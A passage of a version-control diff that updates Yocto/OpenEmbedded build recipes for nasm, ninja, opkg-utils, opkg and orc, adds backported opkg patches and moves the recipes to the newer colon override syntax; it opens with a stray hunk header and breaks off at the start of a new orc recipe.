--- a/test/performtest.pl
+++ b/test/performtest.pl
@@ -42,14 +42,22 @@ sub perform {
diff --git a/meta/recipes-devtools/nasm/nasm_2.15.03.bb b/meta/recipes-devtools/nasm/nasm_2.15.03.bb
deleted file mode 100644
index 5c4e28de06..0000000000
--- a/meta/recipes-devtools/nasm/nasm_2.15.03.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-SUMMARY = "General-purpose x86 assembler"
-SECTION = "devel"
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=90904486f8fbf1861cf42752e1a39efe"
-
-SRC_URI = "http://www.nasm.us/pub/nasm/releasebuilds/${PV}/nasm-${PV}.tar.bz2 \
- file://0001-stdlib-Add-strlcat.patch \
- file://0002-Add-debug-prefix-map-option.patch \
- "
-
-SRC_URI[sha256sum] = "04e7343d9bf112bffa9fda86f6c7c8b120c2ccd700b882e2db9f57484b1bd778"
-
-EXTRA_AUTORECONF_append = " -I autoconf/m4"
-
-inherit autotools
-
-BBCLASSEXTEND = "native"
-
-DEPENDS = "groff-native"
-
-CVE_PRODUCT = "netwide_assembler"
diff --git a/meta/recipes-devtools/nasm/nasm_2.16.01.bb b/meta/recipes-devtools/nasm/nasm_2.16.01.bb
new file mode 100644
index 0000000000..219cc49360
--- /dev/null
+++ b/meta/recipes-devtools/nasm/nasm_2.16.01.bb
@@ -0,0 +1,23 @@
+SUMMARY = "General-purpose x86 assembler"
+SECTION = "devel"
+HOMEPAGE = "http://www.nasm.us/"
+DESCRIPTION = "The Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture."
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=90904486f8fbf1861cf42752e1a39efe"
+
+SRC_URI = "http://www.nasm.us/pub/nasm/releasebuilds/${PV}/nasm-${PV}.tar.bz2 \
+ file://0001-stdlib-Add-strlcat.patch \
+ file://0002-Add-debug-prefix-map-option.patch \
+ "
+
+SRC_URI[sha256sum] = "35b6ad2ee048d41c4779f073f3efca7762a822b7d2d4ef4e8df24cf65747bb2e"
+
+EXTRA_AUTORECONF:append = " -I autoconf/m4"
+
+inherit autotools-brokensep
+
+BBCLASSEXTEND = "native"
+
+DEPENDS = "groff-native"
+
+CVE_PRODUCT = "netwide_assembler"
diff --git a/meta/recipes-devtools/ninja/ninja_1.10.0.bb b/meta/recipes-devtools/ninja/ninja_1.10.0.bb
deleted file mode 100644
index bdc6365052..0000000000
--- a/meta/recipes-devtools/ninja/ninja_1.10.0.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "Ninja is a small build system with a focus on speed."
-HOMEPAGE = "http://martine.github.com/ninja/"
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a81586a64ad4e476c791cda7e2f2c52e"
-
-DEPENDS = "re2c-native ninja-native"
-
-SRCREV = "ed7f67040b370189d989adbd60ff8ea29957231f"
-
-SRC_URI = "git://github.com/ninja-build/ninja.git;branch=release"
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>.*)"
-
-S = "${WORKDIR}/git"
-
-do_configure[noexec] = "1"
-
-do_compile_class-native() {
- python3 ./configure.py --bootstrap
-}
-
-do_compile() {
- python3 ./configure.py
- ninja
-}
-
-do_install() {
- install -D -m 0755 ${S}/ninja ${D}${bindir}/ninja
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/ninja/ninja_1.11.1.bb b/meta/recipes-devtools/ninja/ninja_1.11.1.bb
new file mode 100644
index 0000000000..8e297ec4d4
--- /dev/null
+++ b/meta/recipes-devtools/ninja/ninja_1.11.1.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Ninja is a small build system with a focus on speed."
+HOMEPAGE = "https://ninja-build.org/"
+DESCRIPTION = "Ninja is a small build system with a focus on speed. It differs from other build systems in two major respects: it is designed to have its input files generated by a higher-level build system, and it is designed to run builds as fast as possible."
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a81586a64ad4e476c791cda7e2f2c52e"
+
+DEPENDS = "re2c-native ninja-native"
+
+SRCREV = "a524bf3f6bacd1b4ad85d719eed2737d8562f27a"
+
+SRC_URI = "git://github.com/ninja-build/ninja.git;branch=release;protocol=https"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>.*)"
+
+S = "${WORKDIR}/git"
+
+do_configure[noexec] = "1"
+
+do_compile:class-native() {
+ python3 ./configure.py --bootstrap
+}
+
+do_compile() {
+ python3 ./configure.py
+ ninja
+}
+
+do_install() {
+ install -D -m 0755 ${S}/ninja ${D}${bindir}/ninja
+}
+
+BBCLASSEXTEND = "native nativesdk"
+
+CVE_STATUS[CVE-2021-4336] = "cpe-incorrect: This is a different Ninja"
diff --git a/meta/recipes-devtools/opkg-utils/opkg-utils/0001-opkg-build-remove-numeric-owner-parameter-overzealou.patch b/meta/recipes-devtools/opkg-utils/opkg-utils/0001-opkg-build-remove-numeric-owner-parameter-overzealou.patch
new file mode 100644
index 0000000000..0cdeb9574a
--- /dev/null
+++ b/meta/recipes-devtools/opkg-utils/opkg-utils/0001-opkg-build-remove-numeric-owner-parameter-overzealou.patch
@@ -0,0 +1,34 @@
+From 19c2c6a14c8760c3595f5dc6cc89cde85fbdbac1 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Piotr=20=C5=81obacz?= <p.lobacz@welotec.com>
+Date: Tue, 9 Jan 2024 09:20:55 +0100
+Subject: [PATCH] opkg-build: remove `--numeric-owner` parameter overzealously
+ added
+
+In some corner cases this parameter has been added overzealously.
+All discussion on this topic can be read in here:
+https://bugzilla.yoctoproject.org/show_bug.cgi?id=15334
+
+Upstream-Status: Backport [https://git.yoctoproject.org/opkg-utils/commit/?id=68a969f0e867ace0d94faf8ebe7c7bb67f59d386]
+
+Signed-off-by: Alex Stewart <alex.stewart@ni.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ opkg-build | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/opkg-build b/opkg-build
+index 6edd938..0582958 100755
+--- a/opkg-build
++++ b/opkg-build
+@@ -337,7 +337,7 @@ export LANG=C
+ export LC_ALL=C
+ ( cd $pkg_dir/$CONTROL && find . -type f | sort > $tmp_dir/control_list )
+ ( cd $pkg_dir && find . -path ./$CONTROL -prune -o -path . -o -print | sort > $tmp_dir/file_list )
+-( cd $pkg_dir && tar $attributesargs $ogargs $tsortargs --numeric-owner --no-recursion $mtime_args -c $tarformat -T $tmp_dir/file_list | $compressor $compressorargs > $tmp_dir/data.tar.$cext )
++( cd $pkg_dir && tar $attributesargs $ogargs $tsortargs --no-recursion $mtime_args -c $tarformat -T $tmp_dir/file_list | $compressor $compressorargs > $tmp_dir/data.tar.$cext )
+ ( cd $pkg_dir/$CONTROL && tar $ogargs $tsortargs --no-recursion $mtime_args -c $tarformat -T $tmp_dir/control_list | gzip $zipargs > $tmp_dir/control.tar.gz )
+ rm $tmp_dir/file_list
+ rm $tmp_dir/control_list
+--
+2.43.0
+
diff --git a/meta/recipes-devtools/opkg-utils/opkg-utils/0001-update-alternatives-correctly-match-priority.patch b/meta/recipes-devtools/opkg-utils/opkg-utils/0001-update-alternatives-correctly-match-priority.patch
new file mode 100644
index 0000000000..556d4ce5f5
--- /dev/null
+++ b/meta/recipes-devtools/opkg-utils/opkg-utils/0001-update-alternatives-correctly-match-priority.patch
@@ -0,0 +1,28 @@
+From 26206005dacd61380663bb4fd9b18178bb33665b Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Sat, 24 Oct 2020 21:59:27 +0200
+Subject: [PATCH] update-alternatives: correctly match priority
+
+It should always be at the end of string, otherwise something
+like "/usr/bin/python3.9-config 123" will erroneously match
+against priority 9.
+
+Upstream-Status: Submitted
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ update-alternatives | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/update-alternatives b/update-alternatives
+index 1389b3f..e0b31bf 100644
+--- a/update-alternatives
++++ b/update-alternatives
+@@ -94,7 +94,7 @@ add_alt() {
+ local path="$2"
+ local priority="$3"
+ remove_alt $name $path
+- if grep -qw "$priority" $ad/$name; then
++ if grep -qw "$priority"$ $ad/$name; then
+ echo "Warn: update-alternatives: $name has multiple providers with the same priority, please check $ad/$name for details"
+ fi
+ echo "$path $priority" >> $ad/$name
diff --git a/meta/recipes-devtools/opkg-utils/opkg-utils_0.4.3.bb b/meta/recipes-devtools/opkg-utils/opkg-utils_0.4.3.bb
deleted file mode 100644
index f9df58a295..0000000000
--- a/meta/recipes-devtools/opkg-utils/opkg-utils_0.4.3.bb
+++ /dev/null
@@ -1,65 +0,0 @@
-SUMMARY = "Additional utilities for the opkg package manager"
-SUMMARY_update-alternatives-opkg = "Utility for managing the alternatives system"
-SECTION = "base"
-HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/opkg-utils"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://opkg.py;beginline=2;endline=18;md5=ffa11ff3c15eb31c6a7ceaa00cc9f986"
-PROVIDES += "${@bb.utils.contains('PACKAGECONFIG', 'update-alternatives', 'virtual/update-alternatives', '', d)}"
-
-SRC_URI = "http://git.yoctoproject.org/cgit/cgit.cgi/${BPN}/snapshot/${BPN}-${PV}.tar.gz \
-"
-UPSTREAM_CHECK_URI = "http://git.yoctoproject.org/cgit/cgit.cgi/opkg-utils/refs/"
-
-SRC_URI[md5sum] = "7bbadb3c381f3ea935b21d3bb8cc4671"
-SRC_URI[sha256sum] = "046517600fb0aed6c4645edefe02281f4fa2f1c02f71596152d93172452c0b01"
-
-TARGET_CC_ARCH += "${LDFLAGS}"
-
-RDEPENDS_${PN} += "bash"
-
-inherit perlnative
-
-# For native builds we use the host Python
-PYTHONRDEPS = "python3 python3-shell python3-io python3-math python3-crypt python3-logging python3-fcntl python3-pickle python3-compression python3-stringold"
-PYTHONRDEPS_class-native = ""
-
-PACKAGECONFIG = "python update-alternatives"
-PACKAGECONFIG[python] = ",,,${PYTHONRDEPS}"
-PACKAGECONFIG[update-alternatives] = ",,,"
-
-do_install() {
- oe_runmake PREFIX=${prefix} DESTDIR=${D} install
- if ! ${@bb.utils.contains('PACKAGECONFIG', 'update-alternatives', 'true', 'false', d)}; then
- rm -f "${D}${bindir}/update-alternatives"
- fi
-}
-
-do_install_append_class-target() {
- if ! ${@bb.utils.contains('PACKAGECONFIG', 'python', 'true', 'false', d)}; then
- grep -lZ "/usr/bin/env.*python" ${D}${bindir}/* | xargs -0 rm
- fi
-
- if [ -e "${D}${bindir}/update-alternatives" ]; then
- sed -i ${D}${bindir}/update-alternatives -e 's,/usr/bin,${bindir},g; s,/usr/lib,${nonarch_libdir},g'
- fi
-}
-
-# These are empty and will pull python3-dev into images where it wouldn't
-# have been otherwise, so don't generate them.
-PACKAGES_remove = "${PN}-dev ${PN}-staticdev"
-
-PACKAGES =+ "update-alternatives-opkg"
-FILES_update-alternatives-opkg = "${bindir}/update-alternatives"
-RPROVIDES_update-alternatives-opkg = "update-alternatives update-alternatives-cworth"
-RREPLACES_update-alternatives-opkg = "update-alternatives-cworth"
-RCONFLICTS_update-alternatives-opkg = "update-alternatives-cworth"
-
-pkg_postrm_update-alternatives-opkg() {
- rm -rf $D${nonarch_libdir}/opkg/alternatives
- rmdir $D${nonarch_libdir}/opkg || true
-}
-
-BBCLASSEXTEND = "native nativesdk"
-
-CLEANBROKEN = "1"
diff --git a/meta/recipes-devtools/opkg-utils/opkg-utils_0.6.3.bb b/meta/recipes-devtools/opkg-utils/opkg-utils_0.6.3.bb
new file mode 100644
index 0000000000..e138bc24af
--- /dev/null
+++ b/meta/recipes-devtools/opkg-utils/opkg-utils_0.6.3.bb
@@ -0,0 +1,66 @@
+SUMMARY = "Additional utilities for the opkg package manager"
+SUMMARY:update-alternatives-opkg = "Utility for managing the alternatives system"
+SECTION = "base"
+HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/opkg-utils"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
+ file://opkg.py;beginline=2;endline=18;md5=ffa11ff3c15eb31c6a7ceaa00cc9f986"
+PROVIDES += "${@bb.utils.contains('PACKAGECONFIG', 'update-alternatives', 'virtual/update-alternatives', '', d)}"
+
+SRC_URI = "git://git.yoctoproject.org/opkg-utils;protocol=https;branch=master \
+ file://0001-update-alternatives-correctly-match-priority.patch \
+ file://0001-opkg-build-remove-numeric-owner-parameter-overzealou.patch \
+ "
+SRCREV = "589880d01969eb9af1e66120e731d43193504718"
+
+S = "${WORKDIR}/git"
+
+TARGET_CC_ARCH += "${LDFLAGS}"
+
+RDEPENDS:${PN} += "bash"
+
+inherit perlnative
+
+# For native builds we use the host Python
+PYTHONRDEPS = "python3 python3-shell python3-io python3-math python3-crypt python3-logging python3-fcntl python3-pickle python3-compression python3-stringold"
+PYTHONRDEPS:class-native = ""
+
+PACKAGECONFIG = "python update-alternatives"
+PACKAGECONFIG[python] = ",,,${PYTHONRDEPS}"
+PACKAGECONFIG[update-alternatives] = ",,,"
+
+do_install() {
+ oe_runmake PREFIX=${prefix} DESTDIR=${D} install
+ if ! ${@bb.utils.contains('PACKAGECONFIG', 'update-alternatives', 'true', 'false', d)}; then
+ rm -f "${D}${bindir}/update-alternatives"
+ fi
+}
+
+do_install:append:class-target() {
+ if ! ${@bb.utils.contains('PACKAGECONFIG', 'python', 'true', 'false', d)}; then
+ grep -lZ "/usr/bin/env.*python" ${D}${bindir}/* | xargs -0 rm
+ fi
+
+ if [ -e "${D}${bindir}/update-alternatives" ]; then
+ sed -i ${D}${bindir}/update-alternatives -e 's,/usr/bin,${bindir},g; s,/usr/lib,${nonarch_libdir},g'
+ fi
+}
+
+# These are empty and will pull python3-dev into images where it wouldn't
+# have been otherwise, so don't generate them.
+PACKAGES:remove = "${PN}-dev ${PN}-staticdev"
+
+PACKAGES =+ "update-alternatives-opkg"
+FILES:update-alternatives-opkg = "${bindir}/update-alternatives"
+RPROVIDES:update-alternatives-opkg = "update-alternatives update-alternatives-cworth"
+RREPLACES:update-alternatives-opkg = "update-alternatives-cworth"
+RCONFLICTS:update-alternatives-opkg = "update-alternatives-cworth"
+
+pkg_postrm:update-alternatives-opkg() {
+ rm -rf $D${nonarch_libdir}/opkg/alternatives
+ rmdir $D${nonarch_libdir}/opkg || true
+}
+
+BBCLASSEXTEND = "native nativesdk"
+
+CLEANBROKEN = "1"
diff --git a/meta/recipes-devtools/opkg/opkg-arch-config_1.0.bb b/meta/recipes-devtools/opkg/opkg-arch-config_1.0.bb
index 0c2dbc9e32..726a259a8c 100644
--- a/meta/recipes-devtools/opkg/opkg-arch-config_1.0.bb
+++ b/meta/recipes-devtools/opkg/opkg-arch-config_1.0.bb
@@ -1,8 +1,7 @@
SUMMARY = "Architecture-dependent configuration for opkg"
-HOMEPAGE = "http://code.google.com/p/opkg/"
+HOMEPAGE = "https://git.yoctoproject.org/opkg/"
LICENSE = "MIT"
PACKAGE_ARCH = "${MACHINE_ARCH}"
-PR = "r1"
S = "${WORKDIR}"
@@ -26,10 +25,10 @@ do_install () {
install -m 0644 ${S}/${sysconfdir}/opkg/* ${D}${sysconfdir}/opkg/
}
-FILES_${PN} = "${sysconfdir}/opkg/ "
+FILES:${PN} = "${sysconfdir}/opkg/ "
-CONFFILES_${PN} += "${sysconfdir}/opkg/arch.conf"
+CONFFILES:${PN} += "${sysconfdir}/opkg/arch.conf"
-RREPLACES_${PN} = "opkg-config-base"
-RCONFLICTS_${PN} = "opkg-config-base"
-RPROVIDES_${PN} = "opkg-config-base"
+RREPLACES:${PN} = "opkg-config-base"
+RCONFLICTS:${PN} = "opkg-config-base"
+RPROVIDES:${PN} = "opkg-config-base"
diff --git a/meta/recipes-devtools/opkg/opkg-keyrings_1.0.bb b/meta/recipes-devtools/opkg/opkg-keyrings_1.0.bb
index 07e2402545..84aeb98068 100644
--- a/meta/recipes-devtools/opkg/opkg-keyrings_1.0.bb
+++ b/meta/recipes-devtools/opkg/opkg-keyrings_1.0.bb
@@ -5,7 +5,7 @@ LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384
# Distro-specific keys can be added to this package in two ways:
#
# 1) In a .bbappend, add .gpg and/or .asc files to SRC_URI and install them to
-# ${D}${datadir}/opkg/keyrings/ in a do_install_append function. These
+# ${D}${datadir}/opkg/keyrings/ in a do_install:append function. These
# files should not be named 'key-$name.gpg' to ensure they don't conflict
# with keys exported as per (2).
#
@@ -30,12 +30,12 @@ do_install () {
done
}
-FILES_${PN} = "${datadir}/opkg/keyrings"
+FILES:${PN} = "${datadir}/opkg/keyrings"
# We need 'opkg-key' to run the postinst script
-RDEPENDS_${PN} = "opkg"
+RDEPENDS:${PN} = "opkg"
-pkg_postinst_ontarget_${PN} () {
+pkg_postinst_ontarget:${PN} () {
if test -x ${bindir}/opkg-key
then
${bindir}/opkg-key populate
diff --git a/meta/recipes-devtools/opkg/opkg/0001-libopkg-Use-libgen.h-to-provide-basename-API.patch b/meta/recipes-devtools/opkg/opkg/0001-libopkg-Use-libgen.h-to-provide-basename-API.patch
new file mode 100644
index 0000000000..61581e752b
--- /dev/null
+++ b/meta/recipes-devtools/opkg/opkg/0001-libopkg-Use-libgen.h-to-provide-basename-API.patch
@@ -0,0 +1,62 @@
+From 7a1c13a48cf020c40dda1721d5c2ffd95e8e669a Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 10 Dec 2023 19:39:29 -0800
+Subject: [PATCH v2] libopkg: Use libgen.h to provide basename API
+
+Also ensure that copy of filename is passed into archive_entry_set_pathname
+so it can be operated upon by posix basename which expect non-const
+character pointer as input.
+
+This became evident with latest musl where basename declaration was
+dropped from string.h [1]
+
+[1] https://git.musl-libc.org/cgit/musl/commit/?id=725e17ed6dff4d0cd22487bb64470881e86a92e7
+
+Upstream-Status: Backport [74fc3a991f974095644897d18d43846b5f359dae]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+v2: Do not override basename wholesale
+
+ libopkg/opkg_archive.c | 6 ++++--
+ libopkg/opkg_remove.c | 1 +
+ 2 files changed, 5 insertions(+), 2 deletions(-)
+
+diff --git a/libopkg/opkg_archive.c b/libopkg/opkg_archive.c
+index 03a4afb..b099f5b 100644
+--- a/libopkg/opkg_archive.c
++++ b/libopkg/opkg_archive.c
+@@ -20,6 +20,7 @@
+
+ #include <archive.h>
+ #include <archive_entry.h>
++#include <libgen.h>
+ #include <stdlib.h>
+ #include <stdio.h>
+ #include <string.h>
+@@ -797,8 +798,9 @@ int gz_write_archive(const char *filename, const char *gz_filename)
+ }
+
+ /* Remove path hierarchy, as we are only compressing a single file */
+- archive_entry_set_pathname(entry, basename(filename));
+-
++ char* tmp = xstrdup(filename);
++ archive_entry_set_pathname(entry, basename(tmp));
++ free(tmp);
+ r = archive_write_header(a, entry);
+ if (r != ARCHIVE_OK) {
+ opkg_msg(ERROR, "Failed to create compressed file: '%s' : %s (errno=%d)",
+diff --git a/libopkg/opkg_remove.c b/libopkg/opkg_remove.c
+index 889c672..5254388 100644
+--- a/libopkg/opkg_remove.c
++++ b/libopkg/opkg_remove.c
+@@ -20,6 +20,7 @@
+
+ #include "config.h"
+
++#include <libgen.h>
+ #include <stdio.h>
+ #include <glob.h>
+ #include <unistd.h>
+--
+2.43.0
+
diff --git a/meta/recipes-devtools/opkg/opkg_0.4.3.bb b/meta/recipes-devtools/opkg/opkg_0.4.3.bb
deleted file mode 100644
index 46b7aa2523..0000000000
--- a/meta/recipes-devtools/opkg/opkg_0.4.3.bb
+++ /dev/null
@@ -1,74 +0,0 @@
-SUMMARY = "Open Package Manager"
-SUMMARY_libopkg = "Open Package Manager library"
-SECTION = "base"
-HOMEPAGE = "http://code.google.com/p/opkg/"
-BUGTRACKER = "http://code.google.com/p/opkg/issues/list"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://src/opkg.c;beginline=4;endline=18;md5=d6200b0f2b41dee278aa5fad333eecae"
-
-DEPENDS = "libarchive"
-
-PE = "1"
-
-SRC_URI = "http://downloads.yoctoproject.org/releases/${BPN}/${BPN}-${PV}.tar.gz \
- file://opkg.conf \
- file://0001-opkg_conf-create-opkg.lock-in-run-instead-of-var-run.patch \
- file://run-ptest \
-"
-
-SRC_URI[md5sum] = "86ec5eee9362aca0990994a402e077e9"
-SRC_URI[sha256sum] = "dda452854bc0cd1334f7ba18a66003d1c12a98600c894111b56919b1ea434718"
-
-# This needs to be before ptest inherit, otherwise all ptest files end packaged
-# in libopkg package if OPKGLIBDIR == libdir, because default
-# PTEST_PATH ?= "${libdir}/${BPN}/ptest"
-PACKAGES =+ "libopkg"
-
-inherit autotools pkgconfig ptest
-
-target_localstatedir := "${localstatedir}"
-OPKGLIBDIR ??= "${target_localstatedir}/lib"
-
-PACKAGECONFIG ??= "libsolv"
-
-PACKAGECONFIG[gpg] = "--enable-gpg,--disable-gpg,\
- gnupg gpgme libgpg-error,\
- ${@ "gnupg" if ("native" in d.getVar("PN")) else "gnupg-gpg"}\
- "
-PACKAGECONFIG[curl] = "--enable-curl,--disable-curl,curl"
-PACKAGECONFIG[ssl-curl] = "--enable-ssl-curl,--disable-ssl-curl,curl openssl"
-PACKAGECONFIG[openssl] = "--enable-openssl,--disable-openssl,openssl"
-PACKAGECONFIG[sha256] = "--enable-sha256,--disable-sha256"
-PACKAGECONFIG[libsolv] = "--with-libsolv,--without-libsolv,libsolv"
-
-EXTRA_OECONF += " --disable-pathfinder"
-EXTRA_OECONF_class-native = "--localstatedir=/${@os.path.relpath('${localstatedir}', '${STAGING_DIR_NATIVE}')} --sysconfdir=/${@os.path.relpath('${sysconfdir}', '${STAGING_DIR_NATIVE}')}"
-
-do_install_append () {
- install -d ${D}${sysconfdir}/opkg
- install -m 0644 ${WORKDIR}/opkg.conf ${D}${sysconfdir}/opkg/opkg.conf
- echo "option lists_dir ${OPKGLIBDIR}/opkg/lists" >>${D}${sysconfdir}/opkg/opkg.conf
-
- # We need to create the lock directory
- install -d ${D}${OPKGLIBDIR}/opkg
-}
-
-do_install_ptest () {
- sed -i -e '/@echo $^/d' ${D}${PTEST_PATH}/tests/Makefile
- sed -i -e '/@PYTHONPATH=. $(PYTHON) $^/a\\t@if [ "$$?" != "0" ];then echo "FAIL:"$^;else echo "PASS:"$^;fi' ${D}${PTEST_PATH}/tests/Makefile
-}
-
-RDEPENDS_${PN} = "${VIRTUAL-RUNTIME_update-alternatives} opkg-arch-config libarchive"
-RDEPENDS_${PN}_class-native = ""
-RDEPENDS_${PN}_class-nativesdk = ""
-RDEPENDS_${PN}-ptest += "make binutils python3-core python3-compression"
-RREPLACES_${PN} = "opkg-nogpg opkg-collateral"
-RCONFLICTS_${PN} = "opkg-collateral"
-RPROVIDES_${PN} = "opkg-collateral"
-
-FILES_libopkg = "${libdir}/*.so.* ${OPKGLIBDIR}/opkg/"
-
-BBCLASSEXTEND = "native nativesdk"
-
-CONFFILES_${PN} = "${sysconfdir}/opkg/opkg.conf"
diff --git a/meta/recipes-devtools/opkg/opkg_0.6.3.bb b/meta/recipes-devtools/opkg/opkg_0.6.3.bb
new file mode 100644
index 0000000000..9592ffc5d6
--- /dev/null
+++ b/meta/recipes-devtools/opkg/opkg_0.6.3.bb
@@ -0,0 +1,85 @@
+SUMMARY = "Open Package Manager"
+SUMMARY:libopkg = "Open Package Manager library"
+SECTION = "base"
+HOMEPAGE = "https://git.yoctoproject.org/opkg/"
+DESCRIPTION = "Opkg is a lightweight package management system based on Ipkg."
+BUGTRACKER = "https://bugzilla.yoctoproject.org/buglist.cgi?quicksearch=Product%3Aopkg"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
+ file://src/opkg.c;beginline=4;endline=18;md5=d6200b0f2b41dee278aa5fad333eecae"
+
+DEPENDS = "libarchive zstd"
+
+PE = "1"
+
+SRC_URI = "http://downloads.yoctoproject.org/releases/${BPN}/${BPN}-${PV}.tar.gz \
+ file://opkg.conf \
+ file://0001-opkg_conf-create-opkg.lock-in-run-instead-of-var-run.patch \
+ file://0001-libopkg-Use-libgen.h-to-provide-basename-API.patch \
+ file://run-ptest \
+ "
+
+SRC_URI[sha256sum] = "f3938e359646b406c40d5d442a1467c7e72357f91ab822e442697529641e06de"
+
+# This needs to be before ptest inherit, otherwise all ptest files end packaged
+# in libopkg package if OPKGLIBDIR == libdir, because default
+# PTEST_PATH ?= "${libdir}/${BPN}/ptest"
+PACKAGES =+ "libopkg"
+
+inherit autotools pkgconfig ptest
+
+target_localstatedir := "${localstatedir}"
+OPKGLIBDIR ??= "${target_localstatedir}/lib"
+
+PACKAGECONFIG ??= "libsolv"
+
+PACKAGECONFIG[gpg] = "--enable-gpg,--disable-gpg,\
+ gnupg gpgme libgpg-error,\
+ ${@ "gnupg" if ("native" in d.getVar("PN")) else "gnupg-gpg"}\
+ "
+PACKAGECONFIG[curl] = "--enable-curl,--disable-curl,curl"
+PACKAGECONFIG[ssl-curl] = "--enable-ssl-curl,--disable-ssl-curl,curl openssl"
+PACKAGECONFIG[sha256] = "--enable-sha256,--disable-sha256"
+PACKAGECONFIG[libsolv] = "--with-libsolv,--without-libsolv,libsolv"
+
+EXTRA_OECONF = "--enable-zstd"
+EXTRA_OECONF:append:class-native = " --localstatedir=/${@os.path.relpath('${localstatedir}', '${STAGING_DIR_NATIVE}')} --sysconfdir=/${@os.path.relpath('${sysconfdir}', '${STAGING_DIR_NATIVE}')}"
+
+do_install:append () {
+ install -d ${D}${sysconfdir}/opkg
+ install -m 0644 ${WORKDIR}/opkg.conf ${D}${sysconfdir}/opkg/opkg.conf
+ echo "option lists_dir ${OPKGLIBDIR}/opkg/lists" >>${D}${sysconfdir}/opkg/opkg.conf
+ echo "option info_dir ${OPKGLIBDIR}/opkg/info" >>${D}${sysconfdir}/opkg/opkg.conf
+ echo "option status_file ${OPKGLIBDIR}/opkg/status" >>${D}${sysconfdir}/opkg/opkg.conf
+
+ # We need to create the lock directory
+ install -d ${D}${OPKGLIBDIR}/opkg
+}
+
+do_install_ptest () {
+ sed -i -e '/@echo $^/d' ${D}${PTEST_PATH}/tests/Makefile
+ sed -i -e '/@PYTHONPATH=. $(PYTHON) $^/a\\t@if [ "$$?" != "0" ];then echo "FAIL:"$^;else echo "PASS:"$^;fi' ${D}${PTEST_PATH}/tests/Makefile
+}
+
+WARN_QA:append = " internal-solver-deprecation"
+QARECIPETEST[internal-solver-deprecation] = "qa_check_solver_deprecation"
+def qa_check_solver_deprecation (pn, d, messages):
+ pkgconfig = (d.getVar("PACKAGECONFIG") or "").split()
+
+ if "libsolv" not in pkgconfig:
+ oe.qa.handle_error("internal-solver-deprecation", "The opkg internal solver will be deprecated in future opkg releases. Consider enabling \"libsolv\" in PACKAGECONFIG.", d)
+
+
+RDEPENDS:${PN} = "${VIRTUAL-RUNTIME_update-alternatives} opkg-arch-config libarchive"
+RDEPENDS:${PN}:class-native = ""
+RDEPENDS:${PN}:class-nativesdk = ""
+RDEPENDS:${PN}-ptest += "make binutils python3-core python3-compression bash python3-crypt python3-io"
+RREPLACES:${PN} = "opkg-nogpg opkg-collateral"
+RCONFLICTS:${PN} = "opkg-collateral"
+RPROVIDES:${PN} = "opkg-collateral"
+
+FILES:libopkg = "${libdir}/*.so.* ${OPKGLIBDIR}/opkg/"
+
+BBCLASSEXTEND = "native nativesdk"
+
+CONFFILES:${PN} = "${sysconfdir}/opkg/opkg.conf"
diff --git a/meta/recipes-devtools/orc/orc_0.4.31.bb b/meta/recipes-devtools/orc/orc_0.4.31.bb
deleted file mode 100644
index cd4dc31d70..0000000000
--- a/meta/recipes-devtools/orc/orc_0.4.31.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "Optimised Inner Loop Runtime Compiler"
-HOMEPAGE = "http://gstreamer.freedesktop.org/modules/orc.html"
-LICENSE = "BSD-2-Clause & BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1400bd9d09e8af56b9ec982b3d85797e"
-
-SRC_URI = "http://gstreamer.freedesktop.org/src/orc/orc-${PV}.tar.xz"
-SRC_URI[md5sum] = "b6b95a47eff713e91873e2c2b1a5b3ad"
-SRC_URI[sha256sum] = "a0ab5f10a6a9ae7c3a6b4218246564c3bf00d657cbdf587e6d34ec3ef0616075"
-
-inherit meson pkgconfig gtk-doc
-
-GTKDOC_MESON_OPTION = "gtk_doc"
-GTKDOC_MESON_ENABLE_FLAG = "enabled"
-GTKDOC_MESON_DISABLE_FLAG = "disabled"
-
-BBCLASSEXTEND = "native nativesdk"
-
-PACKAGES =+ "orc-examples"
-PACKAGES_DYNAMIC += "^liborc-.*"
-FILES_orc-examples = "${libdir}/orc/*"
-FILES_${PN} = "${bindir}/*"
-
-python populate_packages_prepend () {
- libdir = d.expand('${libdir}')
- do_split_packages(d, libdir, r'^lib(.*)\.so\.*', 'lib%s', 'ORC %s library', extra_depends='', allow_links=True)
-}
-
-do_compile_prepend_class-native () {
- sed -i -e 's#/tmp#.#g' ${S}/orc/orccodemem.c
-}
diff --git a/meta/recipes-devtools/orc/orc_0.4.38.bb b/meta/recipes-devtools/orc/orc_0.4.38.bb
new file mode 100644
